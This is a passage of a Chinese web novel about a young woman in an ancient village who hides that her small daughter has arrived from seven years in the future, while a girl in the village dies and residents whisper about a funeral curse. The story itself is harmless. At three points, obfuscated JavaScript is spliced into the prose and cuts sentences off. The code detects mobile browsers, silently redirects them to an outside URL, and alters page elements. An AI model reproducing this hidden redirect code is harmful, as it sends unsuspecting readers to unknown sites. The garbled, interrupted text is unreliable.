叶醒枝不欲暴露陆葵葵的身份,便是不考虑她自己,若让其他人知道陆葵葵是从七年前穿回来的,可能有三种结果,要么其他人不相信,觉得定是她和男子有私情生下一女,从而她和陆葵葵名声尽毁;要么别人以为陆葵葵是邪祟脏东西,要找道士来捉妖除邪;或者是被皇亲国戚、方士道士带走研究,那么多皇帝权贵吃丹药妄图长生,又岂会放过陆葵葵? 所以,回到长安让叶醒枝的父亲叶显山来给陆葵葵这个外孙女办户籍,这条路是走不通的。母亲李庭芳这边,叶醒枝相信自己的母亲,不会视陆葵葵会邪祟,但母亲并非只身一人,此事知情的人越少越好。况且母亲怀有身孕即将临盆,也顾不上这些。 山下村是舅舅的老家,舅舅在县城开酒楼,给村里的不少人介绍过活计,恰好叶醒枝又要出银子修缮山神庙,这个时候找到李村长要一纸户籍文书,想来李村长是愿意帮忙的。 除了户籍,还得给陆葵葵置办衣裳,在院子里看到小厮阿竹,陆葵葵张嘴就是一句“竹叔”。 当然,阿竹和阿杏的反应一样,以为是自己长得显老。 叶醒枝不得不给陆葵葵讲清楚,“葵葵,你是娘亲的女儿,但其实你是来到了七年前,娘亲这个时候还没有和你爹爹成亲呢。” “一、二……六、七,娘亲,这是七!”陆葵葵伸出肉乎乎的七根小手指。 叶醒枝:…… 叶醒枝放弃和陆葵葵解释这些了,一个四头身、三岁半的小孩儿,脑袋小小,脸蛋圆圆,哪里懂这些? 别说陆葵葵,就是把穿回七年前的事情告诉阿杏和李婶子,她们应该也只会觉得是叶醒枝还没睡醒在说胡话。 叶醒枝换了个策略,“是这样的,葵葵,你见到阿杏和阿竹,要喊他们为姐姐和哥哥,不能叫“杏姨”和“竹叔”,不然他们会哭的!还有,当着其他人的面,你也不能称我为娘亲,村子里有坏人,如果听到你喊我娘亲,会把我抓走的。” “让爹爹抓坏人!”陆葵葵害怕地抱紧叶醒枝,“爹爹是县令,很厉害哒,坏人都怕爹爹!” 叶醒枝道:“可你爹爹不在,抓不了坏人,等找到你爹爹,才能把坏人抓走!” 陆葵葵催道:“娘亲,那我们去找爹爹!” “好好好。”叶醒枝话音一转,“可是,葵葵,你要听娘亲的话,在没找到你爹爹之前,不能当着其他人的面喊我娘亲,要悄悄的,不能让别人听到!” 不能喊娘亲,陆葵葵不太开心,但听娘亲的话准没错,“葵葵知道啦,娘亲!” 叶醒枝:……“喊姐姐!” “以后白天你就喊我姐姐,晚上睡觉的时候才能喊娘亲,屋子里只有我们两个也可以喊娘亲,不然坏人会把我们抓走的。葵葵,你听话,保护娘亲好不好?娘亲给你买你喜欢的透花糍吃。” 陆葵葵小鸡啄米似的点头,“葵葵听话,葵葵要保护娘亲!” 爹爹不在,她要替爹爹保护娘亲! 叶醒枝再一次道:“记住了,见到阿杏,喊阿杏姐姐,见到阿竹,喊阿竹哥哥,不能喊我为娘亲,要叫我“姐姐”!” “那爹爹呢?”陆葵葵问道。 叶醒枝道:“坏人还在村里呢,要是让坏人听到了,把你爹爹抓走怎么办?你也不能喊爹爹,如果你见到了你爹爹,悄悄告诉我,不要告诉其他人!” 这般欺骗小孩子不好,但叶醒枝没有更好的法子。 陆葵葵鼓着小嘴巴答应了,“娘亲没有见到爹爹吗?” “没有。”叶醒枝问道:“你知道你爹爹在哪儿吗?” 陆葵葵脆声道:“爹爹去找娘亲啦。” 陆葵葵也想爹爹了,“娘亲,爹爹在村里吗?我们去找爹爹吧!” 叶醒枝:“他不在村子里,你爹爹有事情要忙,他…在长安呢,等过段时间我们再去找他。” 虽然不能百分百确定,但叶醒枝觉得自己的猜测没有错,如果不是陆葵葵的出现,她过几天就要去汴州探望母亲,待一段时间再回长安。等回到叶府,父亲叶显山盘算着给她张罗一门好亲事,应该是从长安的官宦子弟中挑选,这才是最佳选择。 加上陆葵葵的祖父住在长安,此时此刻,葵葵她爹爹应当在长安。即便不在,也不会出现在山下村这个偏远的村子里! * 给陆葵葵量过尺寸,叶醒枝让阿杏和阿竹去镇上给陆葵葵买几身春衣、鞋子和珠花,再买一些陆葵葵爱吃的点心。 午时李婶子来做饭,叶醒枝招呼她进屋喝茶,“婶子,这是我昨天在山上遇到的一个小孩,好像是人遗弃了,您帮我在村里打听一下,若是找不到她爹娘,我想把她收为舅舅的养女。” “呦,这女娃真标致。”看到陆葵葵的第一眼,李婶子就觉得她和叶醒枝很是相像,不过李婶子没把这话说出来,而是道:“三岁多,怪可怜的,但这么好看的女娃娃,不像是被家里人扔掉的。” 叶醒枝道:“昨天傍晚我在山上只见到她一个人,可怜兮兮的,要不是我,她就得在山里过夜了,她说爹娘没了,被别人扔了,也说不出来自个爹娘的名字。婶子,这几天先让她住在我这里,您帮我打听一下,看有没有丢孩子的,能找到她爹娘,那就把她送回去,若找不到,我就收养她。” 李婶子当然应好。 等李婶子去了灶房,叶醒枝赶忙呸呸呸了几下,事出有因只是借口,她可不是在咒自己和葵葵,天道在上千万不要当真! 昨日因为亲戚家的老人去世,没做成香椿炒鸡子和肉末酱,今天李婶子有了时间。 主食是索饼,李婶子做了好几道拌菜,一碟是香椿炒鸡子,金黄的鸡子包裹着切成丁绿色的香椿芽叶,清新鲜嫩;一碟是蒜汁,简简单单但蒜香和芝麻油的味道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“您常说山下村有山灵保佑,醒枝准备修缮山神庙来为您祈福。还有一件事,舅舅,葵葵需要一个合理的身份才能在山下村落户,醒枝欲收养她为您的养女,方能拿到户籍,等她长大后,醒枝也会带她回来给您和大表姐扫墓。” 大表姐难产离世,舅舅没有后人,用不了几十年,再过几年,除了她和母亲李庭芳,还有人会记得舅舅吗? 这让叶醒枝感到怅然,而陆葵葵的出现,是意外,却也变相弥补了这些遗憾。 经过“娘亲失踪”,陆葵葵已经明白了什么是死亡,“娘亲,葵葵知道舅姥爷,你常对葵葵说舅姥爷很爱你,还说等葵葵长大了,要带着葵葵来给舅姥爷磕头。” 看着柏树林里冰冷冷的墓碑,三岁半的陆葵葵并不害怕,舅姥爷待在地底下,但他对娘亲好,是个好人。 陆葵葵道:“舅姥爷,我是葵葵,您在地下会冷吗?会饿肚子吗?葵葵给您带绿豆糕吃。” 闻言,叶醒枝唇角微扬,“舅舅,您短缺什么,给醒枝托个梦,若您同意把葵葵收为养女,也给醒枝托个梦吧。” 当夜,叶醒枝没有收到舅舅的托梦,第二天早上,小拳头揉了揉眼睛,用不着醒觉,陆葵葵就迫不及待睁大眼睛,“娘亲,葵葵见到舅姥爷了!” 叶醒枝一愣,“什么?” 陆葵葵:“舅姥爷说他想看看葵葵,让葵葵乖乖听娘亲的话,还说让娘亲不要难过,舅姥爷他答应了!” 叶醒枝残留的困意被尽数赶走,惊讶地看着陆葵葵,舅舅这是给葵葵托梦了? 7. 外重丧 “你是说你在梦里梦到了舅姥爷,舅姥爷愿意收你为养女?”叶醒枝不太敢相信,“真的吗,葵葵?” “真哒!”陆葵葵点点头,“舅姥爷穿了件红色的衣裳,拄着拐杖,祖父也拄拐杖呢,舅姥爷还说他不冷也不饿,很喜欢葵葵,要让葵葵肚肚吃饱。” 离世前两个月,舅舅病体消瘦,需用拐杖支撑,虽然没有赶上舅舅下葬,但叶醒枝听张管家说过,舅舅入殓时穿了一身红色寿衣,那柄他生前用惯了的拐杖也放进了棺材里。 陆葵葵不该知道这些的,却说中了。 叶醒枝无法确定这个梦是真是假,亦不知亡魂是否能给人托梦,童言无忌,可能陆葵葵真的做了这个梦,也可能是陆葵葵记忆混淆,白天在坟墓前听到了叶醒枝的那几番话,记在脑中,一觉过后分不清真假。 但这一次叶醒枝希望是真的,许是舅舅想见葵葵一面,所以没有来到她的梦中,而是给葵葵托了梦。 舅舅同意了,叶醒枝很是高兴,都忘记了询问陆葵葵有没有尿床,等把陆葵葵从被窝里抱出来,她脸上的笑意瞬间凝结,摸了一手温热的水。 救命,陆葵葵尿床了! 叶醒枝头都大了,立即把两床被子都掀开,还好,尿布起了作用,没有流到她那床被子里。 但全套清理是必须的。 晒被子、洗床单、给陆葵葵洗身子和衣裳,一大早就是一通忙活,叶醒枝累得够呛,幸好有阿杏和阿竹帮忙。 给陆葵葵当娘亲的第二个早上,从洗尿布开始! 叶醒枝很是怨念,她可真是个好娘亲,短短几天,便经历这么多,等找到陆葵葵她爹,什么洗尿布洗衣裳,这些活全都是陆时安的! 李婶子自然没有打听到村里有哪家丢了个三岁半的女娃娃,但是,早上来做饭时,她带回来另一个消息,山下村丢了一个八九岁的女娃娃。 “二丫她爹娘都找两天了,也没找到人,她娘都快疯了。”李婶子叹口气,“也不知道这孩子上哪儿去了。” 陆葵葵被丢到山上是假,但二丫不见了是真的,叶醒枝见过二丫几次,听到这个消息很是吃惊,“可去河边和山上找过了?” 从村子上老李山的道路有好几条,常走的一条便是李婶子领着叶醒枝走过的那一条,小路两侧长满杂草,经过一片菜地,然后下去长着青苔的石阶,再经过一条长长的河流,才到山脚。此处偏僻又湿润,因着山下村有两口井,是以除了洗衣服的妇人、女娃和来洗澡的男人们,平日来这里的人不多。但春日渐暖,这段时间村里的小孩儿多去河边玩,叶醒枝上山时也碰见过几次。 “找过了,没找到,山里河里都找了两遍了。”李婶子问道:“二丫好像是前天下午不见的,枝枝,你当时不是上山了吗,见到二丫没有?” “没有。”叶醒枝摇摇头,回忆了一番,确定自己那天下午没有在山上看到陆葵葵以外的其他人。 当时她在老李山上遇到陆葵葵,想着要给陆葵葵找爹娘,走到了山神庙附近,喊了好几声“有人吗”,一个人影都没看到。若二丫在她前头上山,听到动静应当会应一声,若比她晚上山,可那个时间点快到用晚饭的时候了,便是大人一般都不会摸黑上下山,更何况一个小孩? 舅舅离世停灵三天,二丫她娘来老宅帮过忙,叶醒枝回乡后,二丫也和她娘一起来老宅送过几次地瓜干和榆钱,二丫她娘怎么也不肯收下银钱,叶醒枝只好给了二丫好几包点心。 叶醒枝又问道:“村里有人见过二丫吗?这几天她爹娘可打骂过她?” “没有。”李婶子解释道:“二丫这孩子听话得很,她爹娘也疼她,天冷了把她的脚放怀里暖,我是没听说二丫爹娘有打过她骂过她。” 河里与山上没有,也不是赌气离家出走,听李婶子说二丫丢了两三天了,叶醒枝也很是担忧。 “昨个晚上我去打听葵葵她爹娘,才知道二丫丢了,村里也没人听说哪家把自个三四岁的小孩儿扔到了山上,枝枝,这事估计不好办,等我再打听打听。”李婶子最后又嘀咕道:“一连丢了两个女娃,怎么感觉村里不太太平?” 给陆葵葵找“爹娘”的事不着急,叶醒枝道:“没事,婶子,不急。二丫当天穿了什么衣服,您给我说说,我让阿杏阿竹也帮着找找。” * 与村民一道找人回来,李春来皱着眉心事重重,二丫家不仅和他是亲戚,两家同在一个村子里住了几十年,更是到了饭点就端着碗出来边吃饭边说话的交情,村里的人帮二丫的爹娘上山找人,愣是没找到人。 和李婶子一样,李春来也觉得这段时间山下村不太太平,先是从长安回乡的那位叶小姐在山上捡到一个女童,接着听话懂事的二丫又丢了。 说曹操曹操到,听闻叶醒枝的来意,李春来露出喜意,顾不上再为二丫丢了而烦恼,“叶小姐愿出资修缮山神庙,这份恩情,我们山下村的村民绝不会忘。” 并非是因为等山神庙修好后功劳会落到他这个村长的头上,而是修山神庙会使整个村子的人受益。 “李村长客气了,我也是为了给舅舅祈福,愿舅舅来世安康顺遂。”叶醒枝笑着道:“只是如何修缮、从何处找人,我是两眼一抹黑,还得劳烦李村长您帮忙。” 李春来忙不迭应下,直言方方面面交给他来办就行,所有事宜也会让叶醒枝过目的。 李春来道:“还要就近选一个良辰吉日,请示山神是否愿意庙宇修缮,修成什么样子也得得到山神的同意。” 无可厚非,叶醒枝应好,只是,以李村长在内的山下村村民,对老李山山神有超乎寻常的信任与崇拜。 道出心中疑惑,李春来没有再隐瞒,叶醒枝花那么多的银子来修山神庙,可谓是整个山下村的大恩人,其实向村民们募集善款,也能修一修山神庙,但叶醒枝出的可是一大笔银子,等山神庙修好后,估计和河清县那些出名的庙宇差不多宏伟。 再者,把山神庙修的金贵气派,把山神哄高兴了,许是山下村会重新“太平”,村里的人就不会再出事了。 “百年前当时的村长和山神有过约定,我们护好老李山,山上的山灵也会保佑村里的人。只要他们待在村子里,不起坏心思,便会平安长命,活到七八十岁不成问题。”叶醒枝如今成了“自己人”,李春来把那份代代传下来的契约书拿了出来。 老李山山灵保佑山下村村民的传说,村里的人都知道,但这份契约书只有每一任村长才有资格知晓。 看着泛黄的纸张,叶醒枝其实并未相信,但不知怎么回事,触碰到泛黄契书的那一刻,叶醒枝的脑中突然涌入一种奇怪之感。 叶醒枝莫名其妙觉得这份契约永不会作废,仿佛有神力般。 这一瞬间是发自内心的相信。 这是山神的灵力与允诺吗?讶异无言,叶醒枝心想,难怪李村长和村民们这般信誓旦旦。叶醒枝也不知道该如何解释,或许只是巧合,亦或许和她梦中那株会说话的灵葵一样。 诡异荒诞,又无法证明,至于是否相信,全看个人。 李村长全权负责正合叶醒枝心意,她又不是本地人,哪一拨工匠物美价廉技艺好、上哪里买木头和砖石以及村民们的意见等等,她并不知晓,如今又多出来一个三岁半的女儿,更是没精力忙这些。 商定一些事情后,叶醒枝道出另一来意,看着陆葵葵,李春来的反应和李婶子一样,“昨天晚上我听你婶子说过这件事,除了二丫家,没听说有哪家丢孩子了,这女娃娃又白又胖,不像是被人扔到山上的。” 叶醒枝微微一笑,“有人扔了孩子又岂会声张?咱们村子这么偏僻,她一个小孩儿,便是走丢也不可能走丢到老李山上吧。” 叶醒枝又把陆葵葵脸上的伤痕展示了一番,“您不知道,前天我在老李山上遇到她的时候,可比现在严重多了……” 来找李村长前,叶醒枝用脂粉“增加”了陆葵葵脸上和胳膊上的红印子,粉雕玉琢的小姑娘此时看起来可怜兮兮。 陆葵葵也很配合,“村长爷爷,葵葵脸脸好疼。” 她不知道娘亲和村长爷爷在说什么,但听到娘亲说她脸上有伤,她的脸脸确实好疼啊! 夸大其词一番,李春来心中的怀疑消散些许,答应会帮叶醒枝办这件事,先把在山上发现一女童的事情报给差役,他再去找邻村的村长打听,顺便也要打听二丫的消息。 叶醒枝问道:“二丫还没找到吗?” 李春来摇头,粗略讲了几句二丫的情况。 其实李春来还是有所怀疑,陆葵葵定然不是山下村的孩子,山下村得山灵保佑,家家户户都能吃上一碗饭,不如陆葵葵好看机灵的女童都不至于被丢掉,给碗粥养着,十一二年后也绝不会吃亏,何况陆葵葵比李春来见过的女娃娃都要好看。不过其他村子是有人丢女娃娃,更里面的那些小山村比山下村穷多了,一户人家生了六个女儿,把四女儿送其他村子里,五女儿给了自家亲戚,把六女儿生下来就拿剪子剪了脖子扔到了山上。 怀疑归怀疑,李春来是一村之长,安置陆葵葵本就是他该做的,若不是叶醒枝,陆葵葵得来他家里吃饭。加之叶醒枝如今是山下村的恩人,李春来乐意帮这个忙,若真寻不到陆葵葵的爹娘,收养也无妨,那些差役也乐见其成,叶醒枝这是在给县衙和悲田院减轻负担。 乞儿和无父无母的小孩儿可以送到悲田院,但河清县只是一个小县城,远比不上长安的悲田院银钱充裕,把被遗弃的孩子们送到悲田院,特别是陆葵葵这样的女童,其实和遭罪没差别。 送叶醒枝和陆葵葵出门的时候,李春来说出心里话,“叶小姐,您也可以从村里过继一个嗣子。村里姓李的都沾亲带故,和你舅舅血缘亲近的也有几家,抱个男娃娃过去,你外祖家和你舅舅这一脉也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457999|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不会断了,也不用您费心养他。” “当年村里打井,你外祖父就出了不少银子,你舅舅也是个好人,您要是愿意过继,我这就带您去看看情况。” 李村长的建议也是好意,但显然叶醒枝的舅舅并不在意是否有香火传承,不然也不会不再续娶。 叶醒枝突然庆幸村里未有势大的李姓族人,否则,即便她不同意也得被逼着过继一个嗣子,无法为陆葵葵办户籍。 叶醒枝道:“我是在山神庙附近遇到葵葵的,葵葵和我长得像,也和大表姐长得像,可能这是命中注定的缘分,许是山神也想要葵葵当舅舅的女儿,就连舅舅也给我托梦了。” 把山神和托梦一事搬了出来,李春来不再多说什么,他是更想让叶醒枝从村里李家人中过继一个嗣子,但叶醒枝也没说错,陆葵葵确实和这位叶小姐以及叶醒枝的表姐有几分相像,或许真是命定的缘分。 即便没有陆葵葵,叶醒枝也不打算过继嗣子,那和给别人养一个儿子有什么区别。她会出钱找村里人逢年过节给舅舅扫墓摆贡品,若她得闲,隔几年也会回乡,况且母亲李庭芳所在的汴州和山下村相距不远,不过三四日的路程,回来一趟不是难事。 不欲让李村长再相送,叶醒枝正要离开,一阵悲恸欲绝的哭声从前头路口传来。 “二丫啊,我的二丫……” “你睁开眼看看娘啊,二丫,你才活了九个年头啊!” 叶醒枝牵着陆葵葵的手,和李春来过去查看。 走近几步,那哭声里的悲戚凄凉越发强烈,叶醒枝赶忙把陆葵葵揽入怀里,又用披帛捂着她的耳朵。 只见两个村民抬着门板,门板上躺着一具矮小女尸,旁边的妇人拉着死者的手不放,走一步眼泪滚落到地面,最前头抬门板的中年男人眼睛涨红,凄入肝脾。 和前两日去世的那两位老人不一样,这次死的,是丟了两三天的二丫。 拉着二丫手的,是二丫的娘亲,在前头抬着门板、佝偻着背的中年男人,是二丫的爹爹。 李春来心一沉,大步过去,“这是…这是怎么回事?” “二丫没了,我在山上发现的。那条道咱们不经常走,我上山去打野鸡,走到半山腰看到坡下草堆里有条露出来的胳膊,我去一看,没想到是二丫,估计是这孩子上山不小心摔了下去,摔没了。”在后面抬着门板的那人道。 这人叫李老三,是他发现了死去的二丫,然后下山通知二丫爹娘上山抬尸。 二丫娘亲哀嚎:“二丫她…不是张扬的性子,从小到大就没去过山上,不知道那条小路,怎么就从山上摔下来了?” 叶醒枝是第一次看到尸体,还是一个九岁小孩儿的尸体,下意识捂着陆葵葵双耳的两只手力道更深了些,二丫娘亲哀痛的哭声和话语,二丫爹爹泣不成声的模样,让叶醒枝忍不住鼻尖一酸。 乖乖待在叶醒枝怀里的陆葵葵,看不到发生了什么,但隔着披帛和手掌,她的小耳朵也能隐隐听到哭嚎,陆葵葵害怕极了,紧紧攥着叶醒枝的襦裙。 叶醒枝想带着陆葵葵离开,可此时直接离开并不合适,二丫家和叶醒枝舅舅生前有交情,还给叶醒枝送过几次菜,叶醒枝后悔没把阿杏带来,不然可以让阿杏带着葵葵回老宅。 昨个下午阿杏和阿竹去镇上给陆葵葵买了几身衣裳,早上陆葵葵又尿了床,来李村长家里前,阿杏还在洗衣裳,今个得洗出来,不然就没有替换的衣服和被褥了。有了个会尿床的陆葵葵,灶房里的柴禾也比之前用得快,阿竹去了山上砍柴,也不在家。 叶醒枝正犹豫着,这时,一个满头银发、没了牙齿的老婆婆拍了拍她的肩膀,手指了指后方,“姑娘,我先把这小娃娃带过去,别吓着她了。” “谢谢婆婆。”叶醒枝微微一怔,惊喜地道。 这位婆婆她不认识,但看着很和善,见老婆婆带着陆葵葵去了远处的树下玩耍,叶醒枝放心转过身。 二丫娘亲悲痛的哭声,引来了不少村民,李春来的老娘对叶醒枝道:“那是李平安他娘,把孩子交给她没事。” 叶醒枝“嗯”了一声,围着的人越来越多,有人安慰二丫她爹娘,有人送二丫最后一程。 等再也看不到门板上那具小小尸体时,有个男人低声道:“这是死的第三个人吧。” 另一个村民接过话,“这才几天啊,都死了三个人了,还都是咱们姓李的。” 这话一出,就有村民附和,“对,李婆子,李大牛他老头子,还有二丫,全是咱们李家人。” 除了李姓,山下村还有不少姓徐的,邪门的是,这一次陆续死的三个人全姓李。 有人大声出声,“要是算上李老板,两个月都走了四个姓李的了,不会是犯了外重丧吧?” 男人口中的“李老板”,指的是叶醒枝的舅舅。 叶醒枝看向那人,外重丧是什么? 8. 命不好;吃蒸菜 外重丧这三个字一出,就得到了在场村民的认可,“呦呵,还真有可能是犯了外重丧。” “不到百天咱们山下村就死了这么多人,肯定是有人犯了重丧才会这样。” “别乱说,叶老板的后事可是请了算命先生算过的,出殡下葬也都没犯重丧。”鉴于叶醒枝在场,李春来呵斥道。 有人不服气,“那李大牛他老头子和李婆子呢?往前也还有其他人死了啊!” 李春来没说话,一来,他又不是算命先生,不知道有没有村民咽气那天是重丧日。二来,对于山灵保佑山下村村民平安长命这一点他深信不疑,有契约为证,最重要的是,百年前怎么样他不知道,但山下村上一任村长是李春来他爹,在父子俩当村长的大几十年里,山下村没有一个小孩儿丧命,离世的老人也全都是喜丧,二丫不可能无缘无故没了命。 要么是山灵发了怒,要么,是有人犯了什么忌讳。 不过嘴上李春来没有任何表露,一旦承认是某个去世的村民犯了外重丧,会有不少风言风语,“少想点乱七八糟的,都散了吧!” 惦记着陆葵葵,叶醒枝先一步离开,不远处树下,陆葵葵拿着一个用狗尾巴草编的小兔子玩的不亦乐乎。 叶醒枝来到树下,陆葵葵举着小兔子向她展示,“娘……” 叶醒枝急忙咳嗽一声,提醒道:“喊姐姐。” 长长的眼睫眨了眨,陆葵葵想起来了,“姐姐,婆婆给葵葵编的小兔子。” “很好看。”叶醒枝笑意吟吟,看向李婆婆,“李婆婆,谢谢您。” 李婆婆低着头不知道在想什么,手里还拿着一根狗尾巴草,额头上像被麦穗扫出来的皱纹一道道,连叶醒枝走近了都没发现。 捏在李婆婆手里的狗尾巴草抖动一下,李婆婆才抬起头,“姑娘客气了,刚刚没被吓着吧?” 叶醒枝摇了摇头,“没有。” 躺在门板上的二丫并不美观,没了孩童独有的娇嫩可爱,小小的脸肿胀泛紫,但叶醒枝并不害怕,二丫一个才九岁的小姑娘,如同刚刚破土而出的小草被人折了根,她只有惋惜。 李婆婆又问道:“他们怎么说的?” “还是刚才说的那些,说二丫从山上摔了下来,他们还说是犯了外重丧。”叶醒枝问道:“李婆婆,外重丧是什么?” “俗话说重丧不动棺,动棺丧事翻[注1],有人在重丧日走了,就还会有亲人跟着走。”李婆婆道:“是谁犯了外重丧?” 也就是遇上重丧日丧事翻倍的意思,叶醒枝大概明白了,“不知道。” “那就不是犯外重丧了!”李婆婆突然沉声道:“二丫一个小孩子,闲着没事上山做什么?要是真犯了外重丧,那也应该是村里有些老不死的先死了。” 叶醒枝一愣,不知该如何回答,李婆婆是说二丫的去世有隐情?还是说村里有恶人? 李婆婆也不在意,过了一会儿又恢复了平日里的和蔼,“你是庭芳的女儿吧?” “是。”叶醒枝露出笑,“您认识我娘亲?” “庭芳小的时候我还抱过她。”指了指陆葵葵,李婆婆道:“这是你妹妹?” “不是”。叶醒枝摇了摇头,“葵葵是我在山上遇到的,我想把她收为舅舅的养女。” “我看这孩子和你长得像,还以为是庭芳嫁到汴州后又生了一个。”李婆婆有些站不住了,“今天夜里别睡太熟,注意着她的动静,看有没有被吓着。” 叶醒枝应好,其实她也是这么想的,但她不是担心陆葵葵会被吓到,而是害怕陆葵葵再尿床。 李婆婆提醒了她,看来今天夜里她得更加注意才行。 李婆婆看上去有八十多岁了,叶醒枝欲送她回家,李婆婆只说不用,“这路都走了八十多年了,慢慢就走回去了。” 话音落下,李婆婆又叮嘱了一句,“没事别带着她去西村,你也别去!” 望着李婆婆缓慢离去的背影,叶醒枝面上露出不解。 回到老宅陆葵葵正和阿杏玩,脸上的脂粉也已洗净,李婶子中午过来时也为二丫的离世感慨了一番,叶醒枝拿李婆婆的话问李婶子,“婶子,西村是哪里?李婆婆为何不让我和葵葵去西村?” “西村就是旁边那个村,也是山下村的,其实我们是一个村的人,但是中间隔了那么远,得走一刻钟才到西村,西村那边的人好多还是二十来年前从外村搬过来的,所以他们叫西村,我们这边叫东村。”李婶子道:“李婆婆不让你去西村,估计是害怕她家的李平安吓着你和葵葵吧,李婆婆的儿子生下来就是个傻子。西村的人不爱来东村玩,我们东村也是,不经常过去串门,到底不是祖祖辈辈都住这里,不是一家人。” 这天夜里叶醒枝没敢睡熟,陆葵葵小手动一下似是都能把她惊醒,好在“小葵花”没有被吓到,经过叶醒枝熬了一夜的努力,陆葵葵也没有再像昨天晚上那样尿床。 二丫爹娘接受不了女儿从老李山上摔死了的事实,李村长和一些村民帮忙打听,叶醒枝、阿杏、阿竹包括李婶子都没有见到阿杏最后一面,李村长去了西村,在二丫失踪那天,西村的三十来户也没有人见到过二丫。 沿着土路来到最高处李婆婆家时,李婆婆正在院子里编草蚂蚱,好几个草蚂蚱趴在竹筐里,栩栩如生。 没有回答李村长的问话,李婆婆而是问道:“西村有人看见二丫吗?” “都没人看到。”李春来道:“估计就是二丫上山不小心摔死了。” “是吗?”手里拿着一只还未编好的草蚂蚱,李婆婆道:“我一个老婆子眼都花了,能看到什么?” 院子里恢复安静,等李村长离开后,李婆婆手里那只还未编好的草蚂蚱滚落到地上,浑浊的眼睛里尽是哀痛。 她一个老婆子眼都花了,路都要走不动了,还有一个五六十岁的傻儿子,哪一天死在这三间土房子里估计也没人能发现!她就是看到了什么也不敢说出来! 有村民找了邻村的神婆,把山下村近一年去世的人都算了一遍,结果是没有一个人犯重丧,但诡异的是犯外重丧这个说法还是很快在山下村流传开。 东村姓李的村民接二连三去世,全村姓李的都沾亲带故,人人自危,李婶子也有些害怕,万一犯忌讳了呢? 她刚抱上孙子孙女,不希望厄运来到自个家里。 叶醒枝只好给她找些事情做,“婶子,今天中午吃点开胃的吧。” 这段时间李婶子专职来李家老宅做饭,忙起来就不会想东想西了。 “那就吃蒸菜吧。”李婶子做的荤菜味道一般,但她经常从山上地里树上弄东西吃。 李婶子挎上竹篮拿着小弯铲往外走,陆葵葵也要跟着去,见样学样,“娘……” 又是一声轻咳,陆葵葵仰着小脸儿看向叶醒枝,想了想,“姐姐?” “对,葵葵真棒!”叶醒枝夸道。 月牙儿弯弯,陆葵葵笑着想,她以后也要记得喊“姐姐”,“姐姐,葵葵也想要篮子。” 竹篮容易编,但适合陆葵葵挎的小竹篮还真是难找到,李婶子想起一个人,“李婆婆可会编竹篮,还拿去镇上卖,让她给葵葵编一个吧。” “好。”叶醒枝道:“那婶子你下午带我过去吧。” 一大一小两个人跟着李婶子去地里采了地瓜叶,去上山的小道旁摘了扫帚苗、挖了黄黄苗,走走停停,又去到老李山上捋了野葛花。 叶醒枝大开眼界,扫帚苗和黄黄苗也能吃吗?她一直以为扫帚苗是用来做扫帚的。 从老李山上下来,李婶子不急着回去,又去河边摘了许多茼蒿把竹篮填满,她被叶醒枝瞪大眼睛的样子逗笑,“都能吃,你放心吧。” “还有榆钱和马齿苋也能蒸,就是太高了够不着,改日让你李叔爬树上够榆钱。” 李婶子口中的这些叶子和野菜,叶醒枝都没有尝过味道,她觉得最好吃的一定是蒸葛花,紫葛袅袅,串串清醇,如被灵山灵叶上的露珠洗过一般,又似紫雪落人间。其他的几乎都是从河边、小路两旁随手挖的,看着就不好吃。 陆葵葵小手里拎着一串淡紫色的葛花,叶醒枝给她双髻里也插了几朵,随着步伐清香盈盈。 “小葵花”上山也是除了玩就是吃,揪下几片葛花就往嘴里送, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再配上一碗玉米面糊糊,中和了蒜的辣、蒸菜的清甜。叶醒枝本以为葛花会最美味,但挨个尝了一遍,她最喜欢的是蒸胡萝卜丝。 午膳后叶醒枝用牙香净口,捉来了“小葵花”用盐水漱口。蒸菜摆到食案上,陆葵葵却不敢再吃野葛花了,叶醒枝只好绞尽脑汁给她解释,“树上、手里的葛花不能吃,但碗里煮熟的葛花和青菜可以吃。” 陆葵葵恍然大悟,“那葵葵以后把花儿放碗里吃,这样就不会有虫虫咬葵葵的肚肚了。” 你可真是个大聪明! 叶醒枝只好道:“光放碗里也不行,还有由厨娘婆婆在灶房里煮熟了才行,这样才能把虫虫和脏东西赶走。” 陆葵葵仰着小脑袋儿,“可是桃子就可以咬着吃啊,樱桃也可以。” 叶醒枝:…… 无语片刻,叶醒枝出了声,“桃子和樱桃是果子,洗干净就能把虫虫赶走,就像你每天早上净牙一样,是不是也不用去灶房里煮熟啊?但是葛花和青菜得煮熟了才能吃。” “葵葵知道了。”陆葵葵再一次恍然大悟,突然捂着自己的小肚子,急得不行,“娘亲,葵葵吃了花儿,虫虫是不是进葵葵肚肚里了?” 越说越严重,好似已经有虫虫咬她这个小葵花的肚子了,叶醒枝忍俊不禁,“没有,牙香里有细盐和药粉,能赶走虫虫,保护你的牙齿。只要你不生吃花花草草,每天都净牙,肚肚就不会疼。” * “那就是石头家,那是徐东来家,你李婆婆家在最上头。”还没到西村,李婶子指着前方的房子,给叶醒枝介绍着。 一个东来,一个春来,一般村长家是整个村子最大最好的,但这徐东来家比李春来家都要气派。 叶醒枝好奇,“徐家是做什么的?” 